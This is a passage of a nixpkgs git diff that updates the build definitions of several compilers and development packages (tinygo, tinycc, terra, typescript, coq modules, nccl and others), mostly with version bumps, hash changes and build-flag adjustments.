"modular-bitfield-0.11.2" = "sha256-vcx+xt5owZVWOlKwudAr0EB1zlLLL5pVfWokw034BQI="; - }; - }; + cargoSha256 = "sha256-q8s6HAJhKnMhsgZk5plR+ar3CpLKNqjrD14roDWLwfo="; nativeBuildInputs = [ pkg-config ]; buildInputs = [ openssl gmp libmpc mpfr ]; diff --git a/pkgs/development/compilers/temurin-bin/jdk-darwin-base.nix b/pkgs/development/compilers/temurin-bin/jdk-darwin-base.nix index eff9eda73ed30..14871813273dd 100644 --- a/pkgs/development/compilers/temurin-bin/jdk-darwin-base.nix +++ b/pkgs/development/compilers/temurin-bin/jdk-darwin-base.nix @@ -64,6 +64,7 @@ let meta = with lib; { license = licenses.gpl2Classpath; + sourceProvenance = with sourceTypes; [ binaryNativeCode binaryBytecode ]; description = "${brand-name}, prebuilt OpenJDK binary"; platforms = builtins.map (arch: arch + "-darwin") providedCpuTypes; # some inherit jre.meta.platforms maintainers = with maintainers; [ taku0 ]; diff --git a/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix b/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix index b8726749bef88..ba56518e15a62 100644 --- a/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix +++ b/pkgs/development/compilers/temurin-bin/jdk-linux-base.nix @@ -121,6 +121,7 @@ let meta = with lib; { license = licenses.gpl2Classpath; + sourceProvenance = with sourceTypes; [ binaryNativeCode binaryBytecode ]; description = "${brand-name}, prebuilt OpenJDK binary"; platforms = builtins.map (arch: arch + "-linux") providedCpuTypes; # some inherit jre.meta.platforms maintainers = with maintainers; [ taku0 ]; diff --git a/pkgs/development/compilers/terra/default.nix b/pkgs/development/compilers/terra/default.nix index d53441a583c38..3f6934f04212c 100644 --- a/pkgs/development/compilers/terra/default.nix +++ b/pkgs/development/compilers/terra/default.nix @@ -1,6 +1,6 @@ { lib, stdenv, fetchFromGitHub, llvmPackages, ncurses, cmake, libxml2 , symlinkJoin, breakpointHook, cudaPackages, enableCUDA ? false -, libobjc, Cocoa, Foundation +, libffi, libobjc, libpfm, Cocoa, Foundation }: let @@ -42,16 +42,25 @@ in stdenv.mkDerivation rec { }; nativeBuildInputs = [ cmake ]; - buildInputs = [ llvmMerged ncurses libxml2 ] + buildInputs = [ llvmMerged ncurses libffi libxml2 ] ++ lib.optionals enableCUDA [ cuda ] + ++ lib.optional (!stdenv.isDarwin) libpfm ++ lib.optionals stdenv.isDarwin [ libobjc Cocoa Foundation ]; - cmakeFlags = [ + cmakeFlags = let + resourceDir = "${llvmMerged}/lib/clang/" + ( + if lib.versionOlder clangVersion "16" + then + clangVersion + else + lib.versions.major clangVersion + ); + in [ "-DHAS_TERRA_VERSION=0" "-DTERRA_VERSION=${version}" "-DTERRA_LUA=luajit" "-DTERRA_SKIP_LUA_DOWNLOAD=ON" - "-DCLANG_RESOURCE_DIR=${llvmMerged}/lib/clang/${clangVersion}" + "-DCLANG_RESOURCE_DIR=${resourceDir}" ] ++ lib.optional enableCUDA "-DTERRA_ENABLE_CUDA=ON"; doCheck = true; @@ -88,6 +97,8 @@ in stdenv.mkDerivation rec { maintainers = with maintainers; [ jb55 seylerius thoughtpolice elliottslaughter ]; license = licenses.mit; # never built on aarch64-darwin since first introduction in nixpkgs - broken = stdenv.isDarwin && stdenv.isAarch64; + # Linux Aarch64 broken above LLVM11 + # https://github.com/terralang/terra/issues/597 + broken = stdenv.isAarch64; }; } diff --git a/pkgs/development/compilers/tinycc/default.nix b/pkgs/development/compilers/tinycc/default.nix index 906df89b2117c..a848accf16669 100644 --- a/pkgs/development/compilers/tinycc/default.nix +++ b/pkgs/development/compilers/tinycc/default.nix @@ -1,20 +1,16 @@ { lib -, stdenv -, fetchFromRepoOrCz , copyPkgconfigItems +, fetchFromRepoOrCz , makePkgconfigItem , perl +, stdenv , texinfo , which }: -let - # avoid "malformed 32-bit x.y.z" error on mac when using clang - isCleanVer = version: builtins.match "^[0-9]\\.+[0-9]+\\.[0-9]+" version != null; -in -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "tcc"; - version = "unstable-2022-07-15"; + version = "0.9.27-unstable-2022-07-15"; src = fetchFromRepoOrCz { repo = "tinycc"; @@ -22,6 +18,8 @@ stdenv.mkDerivation rec { hash = "sha256-jY0P2GErmo//YBaz6u4/jj/voOE3C2JaIDRmo0orXN8="; }; + outputs = [ "out" "info" "man" ]; + nativeBuildInputs = [ copyPkgconfigItems perl @@ -29,23 +27,27 @@ stdenv.mkDerivation rec { which ]; - pkgconfigItems = [ - (makePkgconfigItem rec { + strictDeps = true; + + pkgconfigItems = let + libtcc-pcitem = { name = "libtcc"; - inherit version; - cflags = [ "-I${variables.includedir}" ]; + inherit (finalAttrs) version; + cflags = [ "-I${libtcc-pcitem.variables.includedir}" ]; libs = [ - "-L${variables.libdir}" - "-Wl,--rpath ${variables.libdir}" + "-L${libtcc-pcitem.variables.libdir}" + "-Wl,--rpath ${libtcc-pcitem.variables.libdir}" "-ltcc" ]; - variables = rec { + variables = { prefix = "${placeholder "out"}"; - includedir = "${prefix}/include"; - libdir = "${prefix}/lib"; + includedir = "${placeholder "dev"}/include"; + libdir = "${placeholder "lib"}/lib"; }; description = "Tiny C compiler backend"; - }) + }; + in [ + (makePkgconfigItem libtcc-pcitem) ]; postPatch = '' @@ -64,17 +66,19 @@ stdenv.mkDerivation rec { "--config-musl" ]; - preConfigure = '' + preConfigure = let + # To avoid "malformed 32-bit x.y.z" error on mac when using clang + versionIsClean = version: + builtins.match "^[0-9]\\.+[0-9]+\\.[0-9]+" version != null; + in '' ${ - if stdenv.isDarwin && ! isCleanVer version + if stdenv.isDarwin && ! versionIsClean finalAttrs.version then "echo 'not overwriting VERSION since it would upset ld'" - else "echo ${version} > VERSION" + else "echo ${finalAttrs.version} > VERSION" } configureFlagsArray+=("--elfinterp=$(< $NIX_CC/nix-support/dynamic-linker)") ''; - outputs = [ "out" "info" "man" ]; - # Test segfault for static build doCheck = !stdenv.hostPlatform.isStatic; @@ -84,7 +88,7 @@ stdenv.mkDerivation rec { rm tests/tests2/{108,114}* ''; - meta = with lib; { + meta = { homepage = "https://repo.or.cz/tinycc.git"; description = "Small, fast, and embeddable C compiler and interpreter"; longDescription = '' @@ -108,13 +112,13 @@ stdenv.mkDerivation rec { With libtcc, you can use TCC as a backend for dynamic code generation. ''; - license = licenses.lgpl21Only; - maintainers = with maintainers; [ joachifm AndersonTorres ]; - platforms = platforms.unix; + license = with lib.licenses; [ lgpl21Only ]; + mainProgram = "tcc"; + maintainers = with lib.maintainers; [ joachifm AndersonTorres ]; + platforms = lib.platforms.unix; # https://www.mail-archive.com/tinycc-devel@nongnu.org/msg10199.html broken = stdenv.isDarwin && stdenv.isAarch64; }; -} +}) # TODO: more multiple outputs # TODO: self-compilation -# TODO: provide expression for stable release diff --git a/pkgs/development/compilers/tinygo/0001-Makefile.patch b/pkgs/development/compilers/tinygo/0001-GNUmakefile.patch index 342cce788ba37..d108efe17115a 100644 --- a/pkgs/development/compilers/tinygo/0001-Makefile.patch +++ b/pkgs/development/compilers/tinygo/0001-GNUmakefile.patch @@ -1,13 +1,6 @@ -From ef066db7f5cb7f551f88fb218c82fc947e464425 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Mustafa=20=C3=87al=C4=B1=C5=9Fkan?= <muscaln@protonmail.com> -Date: Sun, 3 Jul 2022 14:30:51 +0300 -Subject: [PATCH 1/3] Makefile - - -diff --git a/Makefile b/Makefile -index 60a5a574..904d2db5 100644 ---- a/Makefile -+++ b/Makefile +diff --git a/GNUmakefile b/GNUmakefile +--- a/GNUmakefile ++++ b/GNUmakefile @@ -14,11 +14,6 @@ LLVM_VERSIONS = 14 13 12 11 errifempty = $(if $(1),$(1),$(error $(2))) detect = $(shell which $(call errifempty,$(firstword $(foreach p,$(2),$(shell command -v $(p) 2> /dev/null && echo $(p)))),failed to locate $(1) at any of: $(2))) diff --git a/pkgs/development/compilers/tinygo/0002-Add-clang-header-path.patch b/pkgs/development/compilers/tinygo/0002-Add-clang-header-path.patch deleted file mode 100644 index 2c0bfba4f3b55..0000000000000 --- a/pkgs/development/compilers/tinygo/0002-Add-clang-header-path.patch +++ /dev/null @@ -1,25 +0,0 @@ -diff --git a/builder/library.go b/builder/library.go -index 6517355b..b8de1894 100644 ---- a/builder/library.go -+++ b/builder/library.go -@@ -142,7 +142,7 @@ func (l *Library) load(config *compileopts.Config, tmpdir string) (job *compileJ - // Note: -fdebug-prefix-map is necessary to make the output archive - // reproducible. Otherwise the temporary directory is stored in the archive - // itself, which varies each run. -- args := append(l.cflags(target, headerPath), "-c", "-Oz", "-gdwarf-4", "-ffunction-sections", "-fdata-sections", "-Wno-macro-redefined", "--target="+target, "-fdebug-prefix-map="+dir+"="+remapDir) -+ args := append(l.cflags(target, headerPath), "-c", "-Oz", "-gdwarf-4", "-ffunction-sections", "-fdata-sections", "-Wno-macro-redefined", "--target="+target, "-fdebug-prefix-map="+dir+"="+remapDir, "-isystem", "@clang_include@") - cpu := config.CPU() - if cpu != "" { - // X86 has deprecated the -mcpu flag, so we need to use -march instead. -diff --git a/compileopts/config.go b/compileopts/config.go -index 39fc4f2a..8711b5a8 100644 ---- a/compileopts/config.go -+++ b/compileopts/config.go -@@ -264,6 +264,7 @@ func (c *Config) CFlags() []string { - for _, flag := range c.Target.CFlags { - cflags = append(cflags, strings.ReplaceAll(flag, "{root}", goenv.Get("TINYGOROOT"))) - } -+ cflags = append([]string{"-isystem", "@clang_include@"}, cflags...) - switch c.Target.Libc { - case "darwin-libSystem": - root := goenv.Get("TINYGOROOT") diff --git a/pkgs/development/compilers/tinygo/0003-Use-out-path-as-build-id-on-darwin.patch b/pkgs/development/compilers/tinygo/0003-Use-out-path-as-build-id-on-darwin.patch deleted file mode 100644 index a151c4ff880f7..0000000000000 --- a/pkgs/development/compilers/tinygo/0003-Use-out-path-as-build-id-on-darwin.patch +++ /dev/null @@ -1,56 +0,0 @@ -From e7357c383188dd735592bd9f2202d2afcfffa39d Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Mustafa=20=C3=87al=C4=B1=C5=9Fkan?= <muscaln@protonmail.com> -Date: Sun, 11 Sep 2022 17:08:33 +0300 -Subject: [PATCH 3/3] Use out path as build id on darwin - - -diff --git a/builder/buildid.go b/builder/buildid.go -index e6527700..65cb08e8 100644 ---- a/builder/buildid.go -+++ b/builder/buildid.go -@@ -3,8 +3,6 @@ package builder - import ( - "bytes" - "debug/elf" -- "debug/macho" -- "encoding/binary" - "fmt" - "io" - "os" -@@ -53,30 +51,9 @@ func ReadBuildID() ([]byte, error) { - return goID, nil - } - case "darwin": -- // Read the LC_UUID load command, which contains the equivalent of a -- // build ID. -- file, err := macho.NewFile(f) -- if err != nil { -- return nil, err -- } -- for _, load := range file.Loads { -- // Unfortunately, the debug/macho package doesn't support the -- // LC_UUID command directly. So we have to read it from -- // macho.LoadBytes. -- load, ok := load.(macho.LoadBytes) -- if !ok { -- continue -- } -- raw := load.Raw() -- command := binary.LittleEndian.Uint32(raw) -- if command != 0x1b { -- // Looking for the LC_UUID load command. -- // LC_UUID is defined here as 0x1b: -- // https://opensource.apple.com/source/xnu/xnu-4570.71.2/EXTERNAL_HEADERS/mach-o/loader.h.auto.html -- continue -- } -- return raw[4:], nil -- } -+ // On darwin, os.Executable() returns broken path in nix build environment -+ // So we are using $out path as build id since its also unique -+ return []byte("OUT_PATH"), nil - default: - // On other platforms (such as Windows) there isn't such a convenient - // build ID. Luckily, Go does have an equivalent of the build ID, which --- -2.37.2 - diff --git a/pkgs/development/compilers/tinygo/0004-fix-darwin-build.patch b/pkgs/development/compilers/tinygo/0004-fix-darwin-build.patch deleted file mode 100644 index 924533a491310..0000000000000 --- a/pkgs/development/compilers/tinygo/0004-fix-darwin-build.patch +++ /dev/null @@ -1,12 +0,0 @@ -diff --git a/compileopts/config.go b/compileopts/config.go -index 39fc4f2a..fb5d4575 100644 ---- a/compileopts/config.go -+++ b/compileopts/config.go -@@ -269,6 +269,7 @@ func (c *Config) CFlags() []string { - root := goenv.Get("TINYGOROOT") - cflags = append(cflags, - "--sysroot="+filepath.Join(root, "lib/macos-minimal-sdk/src"), -+ "-isystem", filepath.Join(root, "lib/macos-minimal-sdk/src/usr/include"), // necessary for Nix - ) - case "picolibc": - root := goenv.Get("TINYGOROOT") diff --git a/pkgs/development/compilers/tinygo/default.nix b/pkgs/development/compilers/tinygo/default.nix index 5901ab7f9604c..6a572acd62ee6 100644 --- a/pkgs/development/compilers/tinygo/default.nix +++ b/pkgs/development/compilers/tinygo/default.nix @@ -4,15 +4,9 @@ , buildGoModule , fetchFromGitHub , makeWrapper -, substituteAll , llvmPackages , go -, libffi -, zlib -, ncurses -, libxml2 , xar -, wasi-libc , binaryen , avrdude , gdb @@ -30,104 +24,62 @@ let bootstrapTools = runCommand "tinygo-bootstap-tools" { } '' mkdir -p $out ln -s ${lib.getBin clang.cc}/bin/clang $out/clang-${llvmMajor} - ln -s ${lib.getBin lld}/bin/ld.lld $out/ld.lld-${llvmMajor} - ln -s ${lib.getBin lld}/bin/wasm-ld $out/wasm-ld-${llvmMajor} - # GDB upstream does not support ARM darwin - ${lib.optionalString (!(stdenv.isDarwin && stdenv.isAarch64)) "ln -s ${gdb}/bin/gdb $out/gdb-multiarch" } ''; in buildGoModule rec { pname = "tinygo"; - version = "0.30.0"; + version = "0.31.1"; src = fetchFromGitHub { owner = "tinygo-org"; repo = "tinygo"; rev = "v${version}"; - sha256 = "sha256-hOccfMKuvTKYKDRcEgTJ8k/c/H+qNDpvotWIqk6p2u8="; + sha256 = "sha256-YocRTgGSyjnQsYd4a2nCQ0vdQi/z2gHPguix5xIkkgc="; fetchSubmodules = true; }; - vendorHash = "sha256-2q3N6QhfRmwbs4CTWrFWr1wyhf2jPS2ECAn/wrrpXdM="; + vendorHash = "sha256-HZiyAgsTEBQv+Qp0T9RXTV1lkxvIGh7Q45rd45cfvjo="; patches = [ - ./0001-Makefile.patch - - # clang.cc does not have any paths in the include path. - # For TinyGo, we want to have no include paths, _except_ for the built-in - # Clang header files (things like stdint.h). That's why we use -nostdlibinc. - # So to make Clang work like we want, we will have to manually add this one - # include path. - # We can't use a regular clang command (something like - # llvmPackages.clangUseLLVM) because there are various bugs, see: - # https://github.com/NixOS/nixpkgs/issues/259397 - # https://github.com/NixOS/nixpkgs/issues/259386 - (substituteAll { - src = ./0002-Add-clang-header-path.patch; - clang_include = "${clang.cc.lib}/lib/clang/${llvmMajor}/include"; - }) - - #TODO(muscaln): Find a better way to fix build ID on darwin - ./0003-Use-out-path-as-build-id-on-darwin.patch - ./0004-fix-darwin-build.patch + ./0001-GNUmakefile.patch ]; nativeCheckInputs = [ binaryen ]; - nativeBuildInputs = [ makeWrapper ]; + nativeBuildInputs = [ makeWrapper lld ]; buildInputs = [ llvm clang.cc ] - ++ lib.optionals stdenv.isDarwin [ zlib ncurses libffi libxml2 xar ]; + ++ lib.optionals stdenv.isDarwin [ xar ]; doCheck = (stdenv.buildPlatform.canExecute stdenv.hostPlatform); inherit tinygoTests; allowGoReference = true; - tags = [ "llvm${llvmMajor}" ]; - ldflags = [ "-X github.com/tinygo-org/tinygo/goenv.TINYGOROOT=${placeholder "out"}/share/tinygo" ]; + ldflags = [ + "-X github.com/tinygo-org/tinygo/goenv.TINYGOROOT=${placeholder "out"}/share/tinygo" + "-X github.com/tinygo-org/tinygo/goenv.clangResourceDir=${clang.cc.lib}/lib/clang/${llvmMajor}" + ]; subPackages = [ "." ]; # Output contains static libraries for different arm cpus # and stripping could mess up these so only strip the compiler stripDebugList = [ "bin" ]; - postConfigure = lib.optionalString stdenv.isDarwin '' - for i in vendor/tinygo.org/x/go-llvm/llvm_config_darwin*; do - substituteInPlace $i --replace "curses" "ncurses" - done - ''; - postPatch = '' - # Copy wasi-libc, symlink seems not working - rm -rf lib/wasi-libc/* - mkdir -p lib/wasi-libc/sysroot/lib/wasm32-wasi lib/wasi-libc/sysroot/include - cp -a ${wasi-libc}/lib/* lib/wasi-libc/sysroot/lib/wasm32-wasi/ - cp -a ${wasi-libc.dev}/include/* lib/wasi-libc/sysroot/include/ - # Borrow compiler-rt builtins from our source # See https://github.com/tinygo-org/tinygo/pull/2471 mkdir -p lib/compiler-rt-builtins cp -a ${compiler-rt.src}/compiler-rt/lib/builtins/* lib/compiler-rt-builtins/ - substituteInPlace Makefile \ - --replace "\$(TINYGO)" "$(pwd)/build/tinygo" \ - --replace "@\$(MD5SUM)" "md5sum" \ + substituteInPlace GNUmakefile \ --replace "build/release/tinygo/bin" "$out/bin" \ --replace "build/release/" "$out/share/" - - substituteInPlace builder/buildid.go \ - --replace "OUT_PATH" "$out" - - # TODO: Fix mingw - # Disable windows cross-compile tests - sed -i "/GOOS=windows/d" Makefile - '' + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) '' - substituteInPlace Makefile \ - --replace "./build/tinygo" "${buildPackages.tinygo}/bin/tinygo" ''; preBuild = '' export PATH=${bootstrapTools}:$PATH export HOME=$TMPDIR + + ldflags=("''$ldflags[@]/\"-buildid=\"") ''; postBuild = '' @@ -135,28 +87,38 @@ buildGoModule rec { mkdir -p build mv $GOPATH/bin/tinygo build/tinygo + # Build our own custom wasi-libc. + # This is necessary because we modify the build a bit for our needs (disable + # heap, enable debug symbols, etc). + make wasi-libc \ + CLANG="${lib.getBin clang.cc}/bin/clang -resource-dir ${clang.cc.lib}/lib/clang/${llvmMajor}" \ + LLVM_AR=${lib.getBin llvm}/bin/llvm-ar \ + LLVM_NM=${lib.getBin llvm}/bin/llvm-nm + make gen-device -j $NIX_BUILD_CORES export TINYGOROOT=$(pwd) ''; checkPhase = lib.optionalString (tinygoTests != [ ] && tinygoTests != null) '' - make ''${tinygoTests[@]} XTENSA=0 + make ''${tinygoTests[@]} TINYGO="$(pwd)/build/tinygo" MD5SUM=md5sum XTENSA=0 ''; + # GDB upstream does not support ARM darwin + runtimeDeps = [ go clang.cc lld avrdude openocd binaryen ] + ++ lib.optionals (!(stdenv.isDarwin && stdenv.isAarch64)) [ gdb ]; + installPhase = '' runHook preInstall make build/release wrapProgram $out/bin/tinygo \ - --prefix PATH : ${lib.makeBinPath [ go avrdude openocd binaryen ]}:${bootstrapTools} + --prefix PATH : ${lib.makeBinPath runtimeDeps } runHook postInstall ''; - disallowedReferences = [ wasi-libc ]; - meta = with lib; { homepage = "https://tinygo.org/"; description = "Go compiler for small places"; diff --git a/pkgs/development/compilers/typescript/default.nix b/pkgs/development/compilers/typescript/default.nix index 50ddbacb2013b..86eaf06bf5c4b 100644 --- a/pkgs/development/compilers/typescript/default.nix +++ b/pkgs/development/compilers/typescript/default.nix @@ -2,20 +2,20 @@ buildNpmPackage rec { pname = "typescript"; - version = "5.3.3"; + version = "5.4.2"; src = fetchFromGitHub { owner = "microsoft"; repo = "TypeScript"; rev = "v${version}"; - hash = "sha256-gZdS4TGbafaOdNc1ZB24uAjMu9g0hef6mEsOr/dPqvY="; + hash = "sha256-/iB9TEgXqiIsGSRrcADAv8UCjoOdmcyVFGj8EBccQl0="; }; patches = [ ./disable-dprint-dstBundler.patch ]; - npmDepsHash = "sha256-gj59jjko13UBPqqy/3z1KgVMFUQPUAIg47UTTaseF+w="; + npmDepsHash = "sha256-UDyPWbr3FcPRHOtkVTIKXQwN5k02qlhRMbgylkWTrQI="; passthru.tests = { version = testers.testVersion { diff --git a/pkgs/development/compilers/unison/default.nix b/pkgs/development/compilers/unison/default.nix index 56ca3a0104cf8..f9f1934bb566f 100644 --- a/pkgs/development/compilers/unison/default.nix +++ b/pkgs/development/compilers/unison/default.nix @@ -11,17 +11,17 @@ stdenv.mkDerivation (finalAttrs: { pname = "unison-code-manager"; - version = "0.5.15"; + version = "0.5.17"; src = if stdenv.isDarwin then fetchurl { url = "https://github.com/unisonweb/unison/releases/download/release/${finalAttrs.version}/ucm-macos.tar.gz"; - hash = "sha256-Umpu9WQhg6ln6aBb6bPVUZSax1Zeh6vcYHwmQuFRx2Y="; + hash = "sha256-ymnioW+phbwIshs8DZupfe14oPUuunxSsT8rmifh914="; } else fetchurl { url = "https://github.com/unisonweb/unison/releases/download/release/${finalAttrs.version}/ucm-linux.tar.gz"; - hash = "sha256-cFucBQcyye4F6Vep6O9buENFzqJ96q8/2cVr9NFvHB8="; + hash = "sha256-vaK7dKkjCPCfEb9GvkOiJ3jY/Jxb31sf98de3WTMG/A="; }; # The tarball is just the prebuilt binary, in the archive root. diff --git a/pkgs/development/coq-modules/coq-lsp/default.nix b/pkgs/development/coq-modules/coq-lsp/default.nix index 7ca44f39e0e8d..790c264d28bd1 100644 --- a/pkgs/development/coq-modules/coq-lsp/default.nix +++ b/pkgs/development/coq-modules/coq-lsp/default.nix @@ -10,12 +10,14 @@ mkCoqDerivation rec { release."0.1.8+8.16".sha256 = "sha256-dEEAK5IXGjHB8D/fYJRQG/oCotoXJuWLxXB0GQlY2eo="; release."0.1.8+8.17".sha256 = "sha256-TmaE+osn/yAPU1Dyni/UTd5w/L2+qyPE3H/g6IWvHLQ="; release."0.1.8+8.18".sha256 = "sha256-UYmiDdbax4wxp5dLia/1t1gFyK6UELtJJvDMd5Hd14s="; + release."0.1.8+8.19".sha256 = "sha256-aO3hUAWEqVxvCF7uJs+S4yrRxSMe/GaLKVfW/vawzNs="; inherit version; defaultVersion = with lib.versions; lib.switch coq.coq-version [ { case = isEq "8.16"; out = "0.1.8+8.16"; } { case = isEq "8.17"; out = "0.1.8+8.17"; } { case = isEq "8.18"; out = "0.1.8+8.18"; } + { case = isEq "8.19"; out = "0.1.8+8.19"; } ] null; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/coq-modules/coq-record-update/default.nix b/pkgs/development/coq-modules/coq-record-update/default.nix index 6d563dca746ee..d65a486476a0a 100644 --- a/pkgs/development/coq-modules/coq-record-update/default.nix +++ b/pkgs/development/coq-modules/coq-record-update/default.nix @@ -5,8 +5,9 @@ owner = "tchajed"; inherit version; defaultVersion = with lib.versions; lib.switch coq.coq-version [ - { case = range "8.10" "8.19"; out = "0.3.1"; } + { case = range "8.10" "8.19"; out = "0.3.3"; } ] null; + release."0.3.3".sha256 = "sha256-HDIPeFHiC9EwhiOH7yMGJ9d2zJMhboTpRGf9kWcB9Io="; release."0.3.1".sha256 = "sha256-DyGxO2tqmYZZluXN6Oy5Tw6fuLMyuyxonj8CCToWKkk="; release."0.3.0".sha256 = "1ffr21dd6hy19gxnvcd4if2450iksvglvkd6q5713fajd72hmc0z"; releaseRev = v: "v${v}"; diff --git a/pkgs/development/coq-modules/serapi/default.nix b/pkgs/development/coq-modules/serapi/default.nix index ca50f35646b0b..f48cce55d4dc2 100644 --- a/pkgs/development/coq-modules/serapi/default.nix +++ b/pkgs/development/coq-modules/serapi/default.nix @@ -2,6 +2,7 @@ let release = { + "8.19.0+0.19.0".sha256 = "sha256-M9d0ne2veTjf8/mFIDwtWdHi64JXjwCPWupnO2Ztd/Y="; "8.18.0+0.18.0".sha256 = "sha256-c+3yG9vcbek/uvQ27OOQGqqsIHU1VuQhQvNVOjfucbo="; "8.17.0+0.17.0".sha256 = "sha256-I81qvaXpJfXcbFw8vyzYLzlnhPg1QD0lTqAFXhoZ0rI="; "8.16.0+0.16.3".sha256 = "sha256-22Kawp8jAsgyBTppwN5vmN7zEaB1QfPs0qKxd6x/7Uc="; @@ -20,6 +21,7 @@ in defaultVersion = with versions; lib.switch coq.version [ + { case = isEq "8.19"; out = "8.19.0+0.19.0"; } { case = isEq "8.18"; out = "8.18.0+0.18.0"; } { case = isEq "8.17"; out = "8.17.0+0.17.0"; } { case = isEq "8.16"; out = "8.16.0+0.16.3"; } diff --git a/pkgs/development/cuda-modules/nccl/default.nix b/pkgs/development/cuda-modules/nccl/default.nix index 6e385688d0f8d..25296c21365d1 100644 --- a/pkgs/development/cuda-modules/nccl/default.nix +++ b/pkgs/development/cuda-modules/nccl/default.nix @@ -25,13 +25,13 @@ in backendStdenv.mkDerivation ( finalAttrs: { pname = "nccl"; - version = "2.19.3-1"; + version = "2.20.3-1"; src = fetchFromGitHub { owner = "NVIDIA"; repo = finalAttrs.pname; rev = "v${finalAttrs.version}"; - hash = "sha256-59FlOKM5EB5Vkm4dZBRCkn+IgIcdQehE+FyZAdTCT/A="; + hash = "sha256-7gI1q6uN3saz/twwLjWl7XmMucYjvClDPDdbVpVM0vU="; }; strictDeps = true; diff --git a/pkgs/development/embedded/elf2uf2-rs/default.nix b/pkgs/development/embedded/elf2uf2-rs/default.nix index c64380bec23d4..0516a71955f04 100644 --- a/pkgs/development/embedded/elf2uf2-rs/default.nix +++ b/pkgs/development/embedded/elf2uf2-rs/default.nix @@ -2,11 +2,11 @@ rustPlatform.buildRustPackage rec { pname = "elf2uf2-rs"; - version = "1.3.8"; + version = "2.0.0"; src = fetchCrate { inherit pname version; - sha256 = "sha256-wR2rxovUYBW9kKMFJG5lsRhtpI12L+HZe73kQyckEdI="; + sha256 = "sha256-cmiCOykORue0Cg2uUUWa/nXviX1ddbGNC5gRKe+1kYs="; }; nativeBuildInputs = [ @@ -20,7 +20,7 @@ rustPlatform.buildRustPackage rec { Foundation ]; - cargoHash = "sha256-gSEmNmVpREvD3lDJmcmPnN9keu7SaAIcO7fDhOBhu/E="; + cargoHash = "sha256-TBH3pLB6vQVGnfShLtFPNKjciuUIuTkvp3Gayzo+X9E="; meta = with lib; { description = "Convert ELF files to UF2 for USB Flashing Bootloaders"; diff --git a/pkgs/development/embedded/platformio/core.nix b/pkgs/development/embedded/platformio/core.nix index d2d4418f13b9c..b36d5367e65e3 100644 --- a/pkgs/development/embedded/platformio/core.nix +++ b/pkgs/development/embedded/platformio/core.nix @@ -43,6 +43,11 @@ with python3Packages; buildPythonApplication rec { }) ]; + postPatch = '' + # Disable update checks at runtime + substituteInPlace platformio/maintenance.py --replace-fail ' check_platformio_upgrade()' "" + ''; + nativeBuildInputs = [ installShellFiles pythonRelaxDepsHook diff --git a/pkgs/development/embedded/svdtools/default.nix b/pkgs/development/embedded/svdtools/default.nix index c2b86d7bd66a6..5611c3005a1e4 100644 --- a/pkgs/development/embedded/svdtools/default.nix +++ b/pkgs/development/embedded/svdtools/default.nix @@ -5,14 +5,14 @@ rustPlatform.buildRustPackage rec { pname = "svdtools"; - version = "0.3.9"; + version = "0.3.10"; src = fetchCrate { inherit version pname; - hash = "sha256-agIr2jM0BqLSXod5V+p//bxcnrXe2+wW5RMq8GAAwnI="; + hash = "sha256-VEGLUc8ThhD/R+K2IFGvE800euz8oF0kuekGO627rvU="; }; - cargoHash = "sha256-z9GmFjABgvh2xf4nujnZUgHvKvChfP4Guox89PuuxV8="; + cargoHash = "sha256-T0yTGCDgRQUySUHNkoB4kqoKS/0kJWDi04ysPGO79HY="; meta = with lib; { description = "Tools to handle vendor-supplied, often buggy SVD files"; diff --git a/pkgs/development/guile-modules/guile-git/default.nix b/pkgs/development/guile-modules/guile-git/default.nix index 6afddd8d362e5..0314ed738ed45 100644 --- a/pkgs/development/guile-modules/guile-git/default.nix +++ b/pkgs/development/guile-modules/guile-git/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "guile-git"; - version = "0.5.2"; + version = "0.6.0"; src = fetchFromGitLab { owner = "guile-git"; repo = pname; rev = "v${version}"; - sha256 = "x6apF9fmwzrkyzAexKjClOTFrbE31+fVhSLyFZkKRYU="; + sha256 = "sha256-+GVGM9XOy8+nFChyJazRWsNBjS+HYUBnbUErCVkxZyg="; }; strictDeps = true; diff --git a/pkgs/development/hare-third-party/hare-toml/default.nix b/pkgs/development/hare-third-party/hare-toml/default.nix index 39a387605652b..ab760eb5fd24d 100644 --- a/pkgs/development/hare-third-party/hare-toml/default.nix +++ b/pkgs/development/hare-third-party/hare-toml/default.nix @@ -7,14 +7,14 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "hare-toml"; - version = "0.1.0-unstable-2023-12-27"; + version = "0.1.1"; src = fetchFromGitea { domain = "codeberg.org"; owner = "lunacb"; repo = "hare-toml"; - rev = "022d0a8d59e5518029f72724a46e6133b934774c"; - hash = "sha256-DsVcbh1zn8GNKzzb+1o6bfgiVigrxHw/5Xm3uuUhRy0="; + rev = "v${finalAttrs.version}"; + hash = "sha256-r8T7Gy9c5polP+R12q0QRy4075nfGssDnNPQ8ARx/0M="; }; nativeBuildInputs = [ diff --git a/pkgs/development/haskell-modules/configuration-nix.nix b/pkgs/development/haskell-modules/configuration-nix.nix index abfd6ad38a5b5..6c53c2b61ed2a 100644 --- a/pkgs/development/haskell-modules/configuration-nix.nix +++ b/pkgs/development/haskell-modules/configuration-nix.nix @@ -1097,7 +1097,7 @@ self: super: builtins.intersectAttrs super { hercules-ci-cnix-store = overrideCabal (old: { passthru = old.passthru or { } // { - nixPackage = pkgs.nixVersions.nix_2_16; + nixPackage = pkgs.nixVersions.nix_2_19; }; }) (super.hercules-ci-cnix-store.override { diff --git a/pkgs/development/haskell-modules/default.nix b/pkgs/development/haskell-modules/default.nix index e766203bd1f0a..3f8a0bb750c71 100644 --- a/pkgs/development/haskell-modules/default.nix +++ b/pkgs/development/haskell-modules/default.nix @@ -29,7 +29,7 @@ let ]; extensions = lib.composeManyExtensions ([ - nonHackagePackages + (nonHackagePackages { inherit pkgs haskellLib; }) (configurationNix { inherit pkgs haskellLib; }) (configurationCommon { inherit pkgs haskellLib; }) ] ++ platformConfigurations ++ [ diff --git a/pkgs/development/haskell-modules/hotfixes/hercules-ci-agent.nix b/pkgs/development/haskell-modules/hotfixes/hercules-ci-agent.nix new file mode 100644 index 0000000000000..2ba1b443bb5cc --- /dev/null +++ 